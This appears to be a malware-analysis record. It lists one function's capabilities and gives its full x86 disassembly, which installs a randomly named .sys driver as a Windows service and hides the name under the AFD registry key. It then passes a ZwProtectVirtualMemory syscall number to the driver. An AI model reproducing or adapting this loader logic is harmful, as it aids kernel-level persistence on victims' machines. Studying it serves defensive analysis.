Function at 0x10001450
Capabilities:
Copy file
Delete service
Get common file path
Persist via windows service
Set registry value
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
mov eax, dword [0x10012004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0xcc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor eax, 0x1e242
shl eax, 4
cmp eax, dword [ebp + 0xc]
jne 0x10001811
cmp dword [0x1001338c], 0
jne 0x100017f9
push ecx
lea eax, [ebp - 0x44]
push eax
call fcn.10001990
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x1000151f
lea edx, [ebp - 0x44]
xor ecx, ecx
call fcn.10001840
test eax, eax
je 0x100014db
pop edi
pop esi
mov dword [0x1001338c], eax
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001b10
mov esp, ebp
pop ebp
ret 8
push 0xf003f
push 0
push 0
call ebx
mov edi, eax
test edi, edi
je 0x1000151f
push 0xf01ff
lea eax, [ebp - 0x44]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x1000151c
lea eax, [ebp - 0xe8]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call esi
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.100036c1
add esp, 4
xor edi, edi
lea ebx, [edi + 0x1a]
call fcn.100036a0
cdq
idiv ebx
add dl, 0x61
mov byte [ebp + edi - 0x44], dl
inc edi
cmp edi, 0xc
jl 0x10001533
lea eax, [ebp - 0xc8]
mov byte [ebp - 0x38], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSet_servicesAFD
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
je 0x1000158f
lea eax, [ebp - 0xc8]
push eax
push str.SYSTEMCurrentControlSet_servicesAFD
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x100015c7
lea ecx, [ebp - 0x44]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001595
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x44]
push eax
push 1
push 0
push str.Vname
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0x80
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10010c80
lea eax, [ebp - 0xc4]
push 0x80
push eax
call fcn.10003806
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0xc4]
push 0x80
push eax
call fcn.10003806
push str..sys
lea eax, [ebp - 0xc4]
push 0x80
push eax
call fcn.10003806
lea eax, [ebp - 0xc4]
push eax
push 0x104
push 0x10013288
call fcn.100037ac
add esp, 0x30
lea eax, [ebp - 0xc4]
push 0
push eax
push dword [ebp - 0xcc]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x100016e6
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0xc4]
call fcn.10001840
push dword [ebp - 0xec]
mov esi, eax
mov dword [0x1001338c], esi
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push str.ZwProtectVirtualMemory
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [eax + 1]
mov dword [ebp - 0xc8], eax
cmp eax, 0x2000
ja 0x100016cc
push 0
lea eax, [ebp - 0xcc]
push eax
push 4
lea eax, [ebp - 0xc8]
push eax
push 4
push eax
push 0x153316f8
push dword [0x1001338c]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001b10
mov esp, ebp
pop ebp
ret 8
push 0xf003f
push 0
push 0
call ebx
mov edi, eax
test edi, edi
je 0x10001730
push 0xf01ff
lea eax, [ebp - 0x44]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10001727
lea eax, [ebp - 0xe8]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call esi
push edi
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0xc4]
call fcn.10001840
mov edi, eax
test edi, edi
jne 0x10001796
push 0xf003f
push eax
push eax
call ebx
mov edi, eax
test edi, edi
je 0x10001786
push 0xf01ff
lea eax, [ebp - 0x44]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10001783
lea eax, [ebp - 0xe8]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call esi
push edi
call esi
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0xc4]
call fcn.10001840
mov edi, eax
push dword [ebp - 0xec]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
test edi, edi
je 0x10001811
push str.ZwProtectVirtualMemory
push str.ntdll.dll
mov dword [0x1001338c], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [eax + 1]
mov dword [ebp - 0xc8], eax
cmp eax, 0x2000
ja 0x100017f9
push 0
lea eax, [ebp - 0xcc]
push eax
push 4
lea eax, [ebp - 0xc8]
push eax
push 4
push eax
push 0x153316f8
push dword [0x1001338c]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001b10
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001b10
mov esp, ebp
pop ebp
ret 8